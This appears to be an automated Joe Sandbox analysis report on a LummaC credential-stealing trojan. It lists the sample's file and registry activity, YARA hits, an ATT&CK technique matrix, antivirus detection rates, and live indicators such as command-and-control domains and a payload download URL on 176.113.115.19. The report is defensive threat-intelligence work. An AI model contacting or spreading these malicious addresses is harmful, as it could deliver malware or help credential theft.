Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EOWRVPQCCS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GIGIYTFFYT	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\NWCXBPIUYI	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\PALRGUCVEH	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Directory queried: C:\Users\user\Documents\AQRFEVRTGL	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Directory queried: number of queries: 1001

Source: Yara match	File source: 00000003.00000002.2805940961.0000000000862000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 5796.tmp.exe PID: 6036, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: Process Memory Space: 5796.tmp.exe PID: 6036, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0041E56C Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::InternalContextBase::SwitchOut,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::InternalContextBase::SwitchTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,	0_2_0041E56C
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0041D896 Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	0_2_0041D896
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0210E7D3 Concurrency::details::ContextBase::TraceContextEvent,Concurrency::details::InternalContextBase::SwitchOut,Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::InternalContextBase::SwitchTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,	0_2_0210E7D3
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0210DAFD Concurrency::details::SchedulerBase::GetInternalContext,Concurrency::details::WorkItem::ResolveToken,Concurrency::details::WorkItem::BindTo,Concurrency::details::SchedulerBase::ReleaseInternalContext,Concurrency::details::SchedulerBase::GetInternalContext,	0_2_0210DAFD

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	11 Deobfuscate/Decode Files or Information	2 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Native API	Boot or Logon Initialization Scripts	11 Process Injection	4 Obfuscated Files or Information	LSASS Memory	22 File and Directory Discovery	Remote Desktop Protocol	41 Data from Local System	21 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 PowerShell	Logon Script (Windows)	Logon Script (Windows)	22 Software Packing	Security Account Manager	44 System Information Discovery	SMB/Windows Admin Shares	1 Screen Capture	3 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 DLL Side-Loading	NTDS	1 Query Registry	Distributed Component Object Model	2 Clipboard Data	124 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Masquerading	LSA Secrets	141 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Virtualization/Sandbox Evasion	Cached Domain Credentials	2 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	11 Process Injection	DCSync	1 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
xHj1N8ylIf.exe	43%	Virustotal		Browse
xHj1N8ylIf.exe	49%	ReversingLabs	Win32.Trojan.Generic
xHj1N8ylIf.exe	100%	Avira	HEUR/AGEN.1306978
xHj1N8ylIf.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ScreenUpdateSync[1].exe	22%	ReversingLabs
C:\Users\user\AppData\Local\Temp\5796.tmp.exe	22%	ReversingLabs

Source	Detection	Scanner	Label
https://post-to-me.com/track_prt.php?sub=0&cc=DETRI	100%	Avira URL Cloud	malware
https://post-to-me.com/track_prt.php?sub=0&cc=DEDatD	100%	Avira URL Cloud	malware
https://post-to-me.com/track_prt.php?sub=0&cc=DERDO	100%	Avira URL Cloud	malware
https://skidjazzyric.click/	0%	Avira URL Cloud	safe
http://176.113.115.19/ScreenUpdateSync.exe$m	0%	Avira URL Cloud	safe
https://post-to-me.com/track_prt.php?sub=0&cc=DEam	100%	Avira URL Cloud	malware
https://skidjazzyric.click/api	0%	Avira URL Cloud	safe
https://skidjazzyric.click/api9t	0%	Avira URL Cloud	safe
https://post-to-me.com/track_prt.php?sub=	100%	Avira URL Cloud	malware
skidjazzyric.click	0%	Avira URL Cloud	safe
http://176.113.115.19/ScreenUpdateSync.exeXm	0%	Avira URL Cloud	safe
https://post-to-me.com/~	100%	Avira URL Cloud	malware
https://post-to-me.com/track_prt.php?sub=0&cc=DEL	100%	Avira URL Cloud	malware
https://post-to-me.com/	100%	Avira URL Cloud	malware
https://post-to-me.com/track_prt.php?sub=0&cc=DE	100%	Avira URL Cloud	malware
https://skidjazzyric.click/B	0%	Avira URL Cloud	safe
https://skidjazzyric.click/api~	0%	Avira URL Cloud	safe
http://176.113.115.19/ScreenUpdateSync.exez	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
post-to-me.com	104.21.56.70	true	false		unknown
skidjazzyric.click	104.21.80.1	true	true		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
rabidcowse.shop	false		high
wholersorie.shop	false		high
https://skidjazzyric.click/api	true	Avira URL Cloud: safe	unknown
skidjazzyric.click	true	Avira URL Cloud: safe	unknown
cloudewahsj.shop	false		high
noisycuttej.shop	false		high
nearycrepso.shop	false		high
https://post-to-me.com/track_prt.php?sub=0&cc=DE	false	Avira URL Cloud: malware	unknown
framekgirus.shop	false		high
tirepublicerj.shop	false		high
abruptyopsn.shop	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://post-to-me.com/track_prt.php?sub=&cc=DE	xHj1N8ylIf.exe, 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp	false		high
https://duckduckgo.com/chrome_newtab	5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://post-to-me.com/track_prt.php?sub=0&cc=DETRI	xHj1N8ylIf.exe, 00000000.00000002.2833908436.00000000005DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/ac/?q=	5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://post-to-me.com/track_prt.php?sub=0&cc=DEDatD	xHj1N8ylIf.exe, 00000000.00000002.2833908436.00000000005DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://skidjazzyric.click/api9t	5796.tmp.exe, 00000003.00000003.2706963727.0000000000824000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2706887652.000000000080B000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2706660509.0000000000809000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://skidjazzyric.click/	5796.tmp.exe, 00000003.00000003.2706660509.00000000007DD000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000002.2807478096.000000000361A000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000002.2805940961.00000000007F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://post-to-me.com/track_prt.php?sub=0&cc=DEam	xHj1N8ylIf.exe, 00000000.00000002.2833908436.00000000005DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crl.rootca1.amazontrust.com/rootca1.crl0	5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://upx.sf.net	Amcache.hve.10.dr	false		high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://ocsp.rootca1.amazontrust.com0:	5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	5796.tmp.exe, 00000003.00000003.2732526223.00000000038B7000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.19/ScreenUpdateSync.exe	xHj1N8ylIf.exe, xHj1N8ylIf.exe, 00000000.00000002.2833908436.000000000064D000.00000004.00000020.00020000.00000000.sdmp	false		high
https://post-to-me.com/track_prt.php?sub=0&cc=DERDO	xHj1N8ylIf.exe, 00000000.00000002.2833908436.00000000005DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ac.ecosia.org/autocomplete?q=	5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://176.113.115.19/ScreenUpdateSync.exe5rjtejk5rytrrSOFTWARE	xHj1N8ylIf.exe, 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp	false		high
https://post-to-me.com/track_prt.php?sub=	xHj1N8ylIf.exe	false	Avira URL Cloud: malware	unknown
http://176.113.115.19/ScreenUpdateSync.exe$m	xHj1N8ylIf.exe, 00000000.00000002.2833908436.0000000000622000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://176.113.115.19/ScreenUpdateSync.exeXm	xHj1N8ylIf.exe, 00000000.00000002.2833908436.0000000000622000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://x1.c.lencr.org/0	5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	false		high
http://crt.rootca1.amazontrust.com/rootca1.cer0?	5796.tmp.exe, 00000003.00000003.2731721059.000000000359E000.00000004.00000800.00020000.00000000.sdmp	false		high
https://post-to-me.com/	xHj1N8ylIf.exe, 00000000.00000002.2833908436.0000000000622000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://176.113.115.19/ScreenUpdateSync.exez	xHj1N8ylIf.exe, 00000000.00000002.2833908436.000000000064D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://post-to-me.com/track_prt.php?sub=0&cc=DEL	xHj1N8ylIf.exe, 00000000.00000002.2833908436.00000000005DE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://support.mozilla.org/products/firefoxgro.all	5796.tmp.exe, 00000003.00000003.2732526223.00000000038B7000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skidjazzyric.click/B	5796.tmp.exe, 00000003.00000003.2706963727.0000000000824000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2706887652.000000000080B000.00000004.00000020.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2706660509.0000000000809000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	5796.tmp.exe, 00000003.00000003.2707996631.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707921312.00000000035C7000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2707857231.00000000035CA000.00000004.00000800.00020000.00000000.sdmp	false		high
https://skidjazzyric.click/api~	5796.tmp.exe, 00000003.00000002.2805940961.0000000000882000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://post-to-me.com/~	xHj1N8ylIf.exe, 00000000.00000002.2833908436.0000000000622000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.21.56.70	post-to-me.com	United States	13335	CLOUDFLARENETUS	false
176.113.115.19	unknown	Russian Federation	49505	SELECTELRU	false
104.21.80.1	skidjazzyric.click	United States	13335	CLOUDFLARENETUS	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1585802
Start date and time:	2025-01-08 09:41:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 6m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	12
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	xHj1N8ylIf.exe renamed because original name is a hash value
Original Sample Name:	c7e643b43245f27403ed493443865155.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@4/7@2/3
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 76% Number of executed functions: 40 Number of non-executed functions: 256
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 52.182.143.212, 52.149.20.212, 13.107.246.45, 20.190.159.0
Excluded domains from analysis (whitelisted): ocsp.digicert.com, onedsblobprdcus15.centralus.cloudapp.azure.com, slscr.update.microsoft.com, otelrules.azureedge.net, login.live.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:42:28	API Interceptor	1x Sleep call for process: xHj1N8ylIf.exe modified
03:44:17	API Interceptor	5x Sleep call for process: 5796.tmp.exe modified
03:44:27	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.56.70	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse
	AZCFTWko2q.exe	Get hash	malicious	LummaC	Browse
	rHrG691f7q.exe	Get hash	malicious	LummaC	Browse
	XIaCqh1vRm.exe	Get hash	malicious	LummaC	Browse
	QQx0tdFC0b.exe	Get hash	malicious	LummaC	Browse
176.113.115.19	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	TUp6f2knn2.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	sqJIHyPqhr.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	InstallSetup.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	176.113.115.19/ScreenUpdateSync.exe
104.21.80.1	6uHfmjGMfL.exe	Get hash	malicious	Amadey	Browse	clientservices.sgoogleapis.observer/api/index.php
	http://l.instagram.com/?0bfd7a413579bfc47b11c1f19890162e=f171d759fb3a033e4eb430517cad3aef&e=ATP3gbWvTZYJbEDeh7rUkhPx4FjctqZcqx8JLHQOt3eCFNBI8ssZ853B2RmMWetLJ63KaZJU&s=1&u=https%3A%2F%2Fbusiness.instagram.com%2Fmicro_site%2Furl%2F%3Fevent_type%3Dclick%26site%3Digb%26destination%3Dhttps%253A%252F%252Fwww.facebook.com%252Fads%252Fig_redirect%252F%253Fd%253DAd8U5WMN2AM7K-NrvRBs3gyfr9DHeZ3ist33ENX9eJBJWMRBAaOOij4rbjtu42P4dXhL8YyD-jl0LZtS1wkFu-DRtZrPI1zyuzAYXXYv3uJfsc2GuuhHJZr0iVcLluY7-XzYStW8tPCtY7q5OaN0ZR5NezqONJHNCe212u1Fk3V5I6c8mMsj53lfF9nQIFCpMtE%2526a%253D1%2526hash%253DAd_y5usHyEC86F8X	Get hash	malicious	Unknown	Browse	my.cradaygo.com/smmylet
	SW_48912.scr.exe	Get hash	malicious	FormBook	Browse	www.dejikenkyu.cyou/pmpa/
	SH8ZyOWNi2.exe	Get hash	malicious	CMSBrute	Browse	hiranetwork.com/administrator/index.php
	downloader2.hta	Get hash	malicious	XWorm	Browse	2k8u3.org/wininit.exe

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
skidjazzyric.click	GR7ShhQTKE.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
skidjazzyric.click	ab89jay39E.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
post-to-me.com	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	J18zxRjOes.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	TUp6f2knn2.exe	Get hash	malicious	LummaC	Browse	172.67.179.207
	sqJIHyPqhr.exe	Get hash	malicious	LummaC	Browse	172.67.179.207
	InstallSetup.exe	Get hash	malicious	LummaC	Browse	172.67.179.207
	hpEAJnNwCB.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	DG55Gu1yGM.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	he55PbvM2G.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	wN8pQhRNnu.exe	Get hash	malicious	LummaC	Browse	172.67.179.207

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	GR7ShhQTKE.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	ab89jay39E.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	Swift-TT680169 Report.svg	Get hash	malicious	Branchlock Obfuscator	Browse	172.64.41.3
	https://url12.mailanyone.net/scanner?m=1tUshS-0000000041D-2l2S&d=4%7Cmail%2F90%2F1736191200%2F1tUshS-0000000041D-2l2S%7Cin12g%7C57e1b682%7C21208867%7C12850088%7C677C2DBECB224D1EED07A26760DE755E&o=%2Fphtp%3A%2Fjtssamcce.ehst.uruirrevam.ctstro%2Fe%3D%2F%3Fixprceetmeat%3Dmn%26aeileplttm%26920%3D09s1-oFmyiSNtMTnafi%25iosctgp40norajmcm.c8p%3D5o%26991dd-86e2ee-4a-9879e6-de5f1dd.%232e.%3D302vp%3D0%26%25ttsdhF23Ap%252a%25Fuii.ctr.vro2omastr%25Fi2ge2ap%25%25FelFp%25cisoie52F21d9c876-89-4e9dd8-9d-d6ea215f22e%25eeFtFde%252maadata%3Da%26kdtuK8rJIg9jKP6GiBXfDGI7Fp%25Lddn2sRxJdhuPpjWD3%25ICb37&s=3NJIrjRA01UUg3P9bWqXPHrWXdk	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://tom18860.s3.ap-northeast-1.amazonaws.com/%E6%9F%A5%E8%AF%A2%E6%96%87%E4%BB%B6.rar	Get hash	malicious	GhostRat	Browse	1.1.1.1
	6uHfmjGMfL.exe	Get hash	malicious	Amadey	Browse	104.21.80.1
	https://mitra-led.com/	Get hash	malicious	Unknown	Browse	104.21.96.1
	YOUR TV LICENCE STATEMENT.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.flamingoblv.com/bdAHAKrXFqXFQCYuPG6x8vSTVrU9FI7svGtQIOtbZGb5Zz82nKKGDoG-o7UnwphbBQK1zePMgTPfELKVecsIqQ~~	Get hash	malicious	Unknown	Browse	172.67.160.100
	https://www.overflix.gay/ksisjep	Get hash	malicious	Unknown	Browse	104.21.76.17
CLOUDFLARENETUS	GR7ShhQTKE.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	ab89jay39E.exe	Get hash	malicious	LummaC	Browse	104.21.64.1
	Swift-TT680169 Report.svg	Get hash	malicious	Branchlock Obfuscator	Browse	172.64.41.3
	https://url12.mailanyone.net/scanner?m=1tUshS-0000000041D-2l2S&d=4%7Cmail%2F90%2F1736191200%2F1tUshS-0000000041D-2l2S%7Cin12g%7C57e1b682%7C21208867%7C12850088%7C677C2DBECB224D1EED07A26760DE755E&o=%2Fphtp%3A%2Fjtssamcce.ehst.uruirrevam.ctstro%2Fe%3D%2F%3Fixprceetmeat%3Dmn%26aeileplttm%26920%3D09s1-oFmyiSNtMTnafi%25iosctgp40norajmcm.c8p%3D5o%26991dd-86e2ee-4a-9879e6-de5f1dd.%232e.%3D302vp%3D0%26%25ttsdhF23Ap%252a%25Fuii.ctr.vro2omastr%25Fi2ge2ap%25%25FelFp%25cisoie52F21d9c876-89-4e9dd8-9d-d6ea215f22e%25eeFtFde%252maadata%3Da%26kdtuK8rJIg9jKP6GiBXfDGI7Fp%25Lddn2sRxJdhuPpjWD3%25ICb37&s=3NJIrjRA01UUg3P9bWqXPHrWXdk	Get hash	malicious	Unknown	Browse	172.66.0.227
	https://tom18860.s3.ap-northeast-1.amazonaws.com/%E6%9F%A5%E8%AF%A2%E6%96%87%E4%BB%B6.rar	Get hash	malicious	GhostRat	Browse	1.1.1.1
	6uHfmjGMfL.exe	Get hash	malicious	Amadey	Browse	104.21.80.1
	https://mitra-led.com/	Get hash	malicious	Unknown	Browse	104.21.96.1
	YOUR TV LICENCE STATEMENT.pdf	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://www.flamingoblv.com/bdAHAKrXFqXFQCYuPG6x8vSTVrU9FI7svGtQIOtbZGb5Zz82nKKGDoG-o7UnwphbBQK1zePMgTPfELKVecsIqQ~~	Get hash	malicious	Unknown	Browse	172.67.160.100
	https://www.overflix.gay/ksisjep	Get hash	malicious	Unknown	Browse	104.21.76.17
SELECTELRU	nYT1CaXH9N.ps1	Get hash	malicious	Amadey	Browse	176.113.115.131
